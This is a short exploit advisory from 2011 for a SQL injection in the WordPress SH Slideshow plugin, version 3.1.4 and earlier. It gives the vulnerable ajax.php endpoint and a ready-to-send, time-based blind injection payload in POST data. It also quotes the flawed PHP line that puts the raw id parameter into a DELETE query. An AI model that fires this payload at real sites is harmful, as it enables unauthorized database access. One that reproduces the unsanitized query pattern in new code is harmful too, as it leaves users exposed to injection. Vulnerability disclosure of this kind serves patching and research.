WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability

# Exploit Title: WordPress SH Slideshow plugin <= 3.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/sh-slideshow.3.1.4.zip
# Version: 3.1.4 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/sh-slideshow/ajax.php
 id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

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Vulnerable code
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$result = $wpdb->query('delete from sh_slides where id = '.$_POST['id']);